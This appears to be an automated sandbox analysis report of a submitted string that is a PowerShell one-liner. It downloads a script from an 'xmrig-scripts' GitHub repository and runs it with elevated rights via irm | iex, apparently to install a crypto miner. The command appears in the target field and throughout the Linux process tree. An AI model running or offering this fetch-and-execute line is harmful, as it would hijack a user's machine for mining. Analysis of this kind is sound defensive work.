Analysis

  • max time kernel
    299s
  • max time network
    302s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    16-07-2024 05:12

General

  • Target

    http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score
4/10

Malware Config

Signatures

  • Changes its process name 64 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 11 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /usr/bin/xdg-open
    xdg-open "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
    1⤵
      PID:1406
      • /usr/bin/dbus-send
        dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
        2⤵
        • Reads runtime system information
        PID:1407
        • /usr/bin/dbus-launch
          dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
          3⤵
            PID:1408
            • /usr/bin/dbus-daemon
              /usr/bin/dbus-daemon --syslog-only --fork --print-pid 5 --print-address 7 --session
              4⤵
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1410
              • /usr/libexec/xdg-desktop-portal
                /usr/libexec/xdg-desktop-portal
                5⤵
                • Reads runtime system information
                PID:1574
              • /usr/libexec/xdg-document-portal
                /usr/libexec/xdg-document-portal
                5⤵
                • Reads runtime system information
                PID:1580
              • /usr/libexec/xdg-permission-store
                /usr/libexec/xdg-permission-store
                5⤵
                • Reads runtime system information
                PID:1584
              • /usr/libexec/xdg-desktop-portal-gtk
                /usr/libexec/xdg-desktop-portal-gtk
                5⤵
                • Reads runtime system information
                PID:1595
              • /usr/libexec/gvfsd
                /usr/libexec/gvfsd
                5⤵
                • Reads runtime system information
                PID:1599
                • /usr/libexec/gvfsd-trash
                  /usr/libexec/gvfsd-trash --spawner :1.8 /org/gtk/gvfs/exec_spaw/0
                  6⤵
                    PID:1631
                • /usr/libexec/dconf-service
                  /usr/libexec/dconf-service
                  5⤵
                    PID:1622
                  • /usr/bin/nautilus
                    /usr/bin/nautilus --gapplication-service
                    5⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:1627
                  • /usr/bin/gnome-keyring-daemon
                    /usr/bin/gnome-keyring-daemon --start --foreground "--components=secrets"
                    5⤵
                    • Reads runtime system information
                    PID:1786
                  • /usr/libexec/gvfs-udisks2-volume-monitor
                    /usr/libexec/gvfs-udisks2-volume-monitor
                    5⤵
                    • Reads runtime system information
                    PID:1797
                  • /usr/libexec/gvfs-afc-volume-monitor
                    /usr/libexec/gvfs-afc-volume-monitor
                    5⤵
                    • Reads runtime system information
                    PID:1803
                  • /usr/libexec/gvfs-mtp-volume-monitor
                    /usr/libexec/gvfs-mtp-volume-monitor
                    5⤵
                    • Enumerates kernel/hardware configuration
                    PID:1809
                  • /usr/libexec/gvfs-gphoto2-volume-monitor
                    /usr/libexec/gvfs-gphoto2-volume-monitor
                    5⤵
                    • Enumerates kernel/hardware configuration
                    PID:1814
                  • /usr/libexec/gvfs-goa-volume-monitor
                    /usr/libexec/gvfs-goa-volume-monitor
                    5⤵
                    • Reads runtime system information
                    PID:1819
                  • /usr/libexec/goa-daemon
                    /usr/libexec/goa-daemon
                    5⤵
                    • Reads runtime system information
                    PID:1823
                  • /usr/libexec/goa-identity-service
                    /usr/libexec/goa-identity-service
                    5⤵
                    • Reads runtime system information
                    PID:1836
            • /usr/bin/grep
              grep " = \\\"xfce4\\\"\$"
              2⤵
                PID:1414
              • /usr/bin/xprop
                xprop -root _DT_SAVE_MODE
                2⤵
                  PID:1413
                • /usr/bin/grep
                  grep -i "^xfce_desktop_window"
                  2⤵
                    PID:1416
                  • /usr/bin/xprop
                    xprop -root
                    2⤵
                      PID:1415
                    • /usr/bin/grep
                      grep -q "^Enlightenment"
                      2⤵
                        PID:1418
                      • /usr/bin/uname
                        uname
                        2⤵
                          PID:1419
                        • /usr/bin/grep
                          grep -q "^file://"
                          2⤵
                            PID:1421
                          • /usr/bin/egrep
                            egrep -q "^[[:alpha:]+\\.\\-]+:"
                            2⤵
                              PID:1423
                            • /usr/local/sbin/grep
                              grep -E -q "^[[:alpha:]+\\.\\-]+:"
                              2⤵
                                PID:1423
                              • /usr/local/bin/grep
                                grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                2⤵
                                  PID:1423
                                • /usr/sbin/grep
                                  grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                  2⤵
                                    PID:1423
                                  • /usr/bin/grep
                                    grep -E -q "^[[:alpha:]+\\.\\-]+:"
                                    2⤵
                                      PID:1423
                                    • /usr/bin/sed
                                      sed -n "s/\\(^[[:alnum:]+\\.-]*\\):.*\$/\\1/p"
                                      2⤵
                                        PID:1426
                                      • /usr/bin/xdg-mime
                                        xdg-mime query default x-scheme-handler/http
                                        2⤵
                                          PID:1427
                                          • /usr/bin/dbus-send
                                            dbus-send --print-reply "--dest=org.freedesktop.DBus" /org/freedesktop/DBus org.freedesktop.DBus.GetNameOwner string:org.gnome.SessionManager
                                            3⤵
                                              PID:1428
                                              • /usr/bin/dbus-launch
                                                dbus-launch --autolaunch 4816dd152e8c48ff97e9117d197c13d8 --binary-syntax --close-stderr
                                                4⤵
                                                  PID:1429
                                              • /usr/bin/grep
                                                grep " = \\\"xfce4\\\"\$"
                                                3⤵
                                                  PID:1431
                                                • /usr/bin/xprop
                                                  xprop -root _DT_SAVE_MODE
                                                  3⤵
                                                    PID:1430
                                                  • /usr/bin/grep
                                                    grep -i "^xfce_desktop_window"
                                                    3⤵
                                                      PID:1433
                                                    • /usr/bin/xprop
                                                      xprop -root
                                                      3⤵
                                                        PID:1432
                                                      • /usr/bin/grep
                                                        grep -q "^Enlightenment"
                                                        3⤵
                                                          PID:1435
                                                        • /usr/bin/uname
                                                          uname
                                                          3⤵
                                                            PID:1436
                                                          • /usr/bin/sed
                                                            sed "s/:/ /g"
                                                            3⤵
                                                            • Reads runtime system information
                                                            PID:1439
                                                          • /usr/bin/cut
                                                            cut -d ";" -f 1
                                                            3⤵
                                                              PID:1444
                                                            • /usr/bin/cut
                                                              cut -d "=" -f 2
                                                              3⤵
                                                                PID:1443
                                                              • /usr/bin/head
                                                                head -n 1
                                                                3⤵
                                                                  PID:1442
                                                                • /usr/bin/grep
                                                                  grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                  3⤵
                                                                    PID:1441
                                                                  • /usr/bin/cut
                                                                    cut -d ";" -f 1
                                                                    3⤵
                                                                      PID:1449
                                                                    • /usr/bin/cut
                                                                      cut -d "=" -f 2
                                                                      3⤵
                                                                        PID:1448
                                                                      • /usr/bin/head
                                                                        head -n 1
                                                                        3⤵
                                                                          PID:1447
                                                                        • /usr/bin/grep
                                                                          grep "x-scheme-handler/http=" /.local/share/applications/defaults.list /.local/share/applications/mimeinfo.cache
                                                                          3⤵
                                                                            PID:1446
                                                                          • /usr/bin/cut
                                                                            cut -d ";" -f 1
                                                                            3⤵
                                                                              PID:1454
                                                                            • /usr/bin/cut
                                                                              cut -d "=" -f 2
                                                                              3⤵
                                                                                PID:1453
                                                                              • /usr/bin/head
                                                                                head -n 1
                                                                                3⤵
                                                                                  PID:1452
                                                                                • /usr/bin/grep
                                                                                  grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                  3⤵
                                                                                    PID:1451
                                                                                  • /usr/bin/cut
                                                                                    cut -d ";" -f 1
                                                                                    3⤵
                                                                                      PID:1459
                                                                                    • /usr/bin/cut
                                                                                      cut -d "=" -f 2
                                                                                      3⤵
                                                                                        PID:1458
                                                                                      • /usr/bin/head
                                                                                        head -n 1
                                                                                        3⤵
                                                                                          PID:1457
                                                                                        • /usr/bin/grep
                                                                                          grep "x-scheme-handler/http=" /usr/local/share//applications/defaults.list /usr/local/share//applications/mimeinfo.cache
                                                                                          3⤵
                                                                                            PID:1456
                                                                                          • /usr/bin/cut
                                                                                            cut -d ";" -f 1
                                                                                            3⤵
                                                                                              PID:1464
                                                                                            • /usr/bin/cut
                                                                                              cut -d "=" -f 2
                                                                                              3⤵
                                                                                                PID:1463
                                                                                              • /usr/bin/head
                                                                                                head -n 1
                                                                                                3⤵
                                                                                                  PID:1462
                                                                                                • /usr/bin/grep
                                                                                                  grep "x-scheme-handler/http=" /usr/share//applications/defaults.list /usr/share//applications/mimeinfo.cache
                                                                                                  3⤵
                                                                                                    PID:1461
                                                                                                • /usr/bin/sed
                                                                                                  sed "s/:/ /g"
                                                                                                  2⤵
                                                                                                    PID:1467
                                                                                                  • /usr/bin/sed
                                                                                                    sed -e "s|-|/|"
                                                                                                    2⤵
                                                                                                      PID:1470
                                                                                                    • /usr/bin/sed
                                                                                                      sed -e "s|-|/|"
                                                                                                      2⤵
                                                                                                        PID:1473
                                                                                                      • /usr/bin/cut
                                                                                                        cut "-d=" -f 2-
                                                                                                        2⤵
                                                                                                          PID:1478
                                                                                                        • /usr/bin/which
                                                                                                          which firefox
                                                                                                          2⤵
                                                                                                            PID:1479
                                                                                                          • /usr/bin/cut
                                                                                                            cut "-d=" -f 2-
                                                                                                            2⤵
                                                                                                              PID:1482
                                                                                                            • /usr/bin/cut
                                                                                                              cut "-d=" -f 2-
                                                                                                              2⤵
                                                                                                                PID:1485
                                                                                                              • /usr/bin/cut
                                                                                                                cut "-d=" -f 2-
                                                                                                                2⤵
                                                                                                                  PID:1529
                                                                                                                • /usr/bin/firefox
                                                                                                                  /usr/bin/firefox "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
                                                                                                                  2⤵
                                                                                                                    PID:1530
                                                                                                                    • /usr/bin/which
                                                                                                                      which /usr/bin/firefox
                                                                                                                      3⤵
                                                                                                                        PID:1531
                                                                                                                    • /usr/lib/firefox/firefox
                                                                                                                      /usr/lib/firefox/firefox "http://start-process PoweShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex"
                                                                                                                      2⤵
                                                                                                                      • Checks CPU configuration
                                                                                                                      • Reads CPU attributes
                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                      • Reads runtime system information
                                                                                                                      • Writes file to tmp directory
                                                                                                                      PID:1530
                                                                                                                      • /usr/local/sbin/dbus-launch
                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                        3⤵
                                                                                                                          PID:1535
                                                                                                                        • /usr/local/bin/dbus-launch
                                                                                                                          dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                          3⤵
                                                                                                                            PID:1535
                                                                                                                          • /usr/sbin/dbus-launch
                                                                                                                            dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                            3⤵
                                                                                                                              PID:1535
                                                                                                                            • /usr/bin/dbus-launch
                                                                                                                              dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                              3⤵
                                                                                                                                PID:1535
                                                                                                                              • /usr/lib/firefox/glxtest
                                                                                                                                /usr/lib/firefox/glxtest -f 13
                                                                                                                                3⤵
                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                • Reads runtime system information
                                                                                                                                PID:1538
                                                                                                                              • /usr/bin/lsb_release
                                                                                                                                /usr/bin/lsb_release -idrc
                                                                                                                                3⤵
                                                                                                                                  PID:1550
                                                                                                                                • /usr/local/sbin/dbus-launch
                                                                                                                                  dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                  3⤵
                                                                                                                                    PID:1560
                                                                                                                                  • /usr/local/bin/dbus-launch
                                                                                                                                    dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                    3⤵
                                                                                                                                      PID:1560
                                                                                                                                    • /usr/sbin/dbus-launch
                                                                                                                                      dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                      3⤵
                                                                                                                                        PID:1560
                                                                                                                                      • /usr/bin/dbus-launch
                                                                                                                                        dbus-launch "--autolaunch=4816dd152e8c48ff97e9117d197c13d8" --binary-syntax --close-stderr
                                                                                                                                        3⤵
                                                                                                                                          PID:1560
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -prefsLen 21691 -prefMapSize 234463 -appDir /usr/lib/firefox/browser "{17ee005f-cc99-4894-bb85-d380ac926b55}" 1530 true socket
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                          • Reads runtime system information
                                                                                                                                          PID:1572
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -childID 1 -isForBrowser -prefsLen 27585 -prefMapSize 234463 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{fd3a0834-ab4d-4a5f-9c54-60ccc9b63596}" 1530 true tab
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                          PID:1660
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -parentBuildID 20240108143603 -sandboxingKind 0 -prefsLen 28090 -prefMapSize 234463 -appDir /usr/lib/firefox/browser "{85027571-4a0e-49e8-a5d6-adc3400de164}" 1530 true utility
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                          • Reads runtime system information
                                                                                                                                          PID:1696
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -childID 2 -isForBrowser -prefsLen 26183 -prefMapSize 234463 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{88ba2704-25e1-4c93-b241-ef117e6894df}" 1530 true tab
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Reads runtime system information
                                                                                                                                          PID:1701
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -childID 3 -isForBrowser -prefsLen 26183 -prefMapSize 234463 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{de82de56-b769-493c-aa2d-233e3e531492}" 1530 true tab
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                          • Reads runtime system information
                                                                                                                                          PID:1705
                                                                                                                                        • /usr/lib/firefox/firefox
                                                                                                                                          /usr/lib/firefox/firefox -contentproc -childID 4 -isForBrowser -prefsLen 26183 -prefMapSize 234463 -jsInitLen 229864 -parentBuildID 20240108143603 -greomni /usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appDir /usr/lib/firefox/browser "{6665f0e3-ac58-42fd-bfa5-7a29d3e8c801}" 1530 true tab
                                                                                                                                          3⤵
                                                                                                                                          • Reads CPU attributes
                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                          • Reads runtime system information
                                                                                                                                          PID:1708
                                                                                                                                    • /usr/libexec/gvfsd-fuse
                                                                                                                                      /usr/libexec/gvfsd-fuse /root/.cache/gvfs -f -o big_writes
                                                                                                                                      1⤵
                                                                                                                                        PID:1604

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

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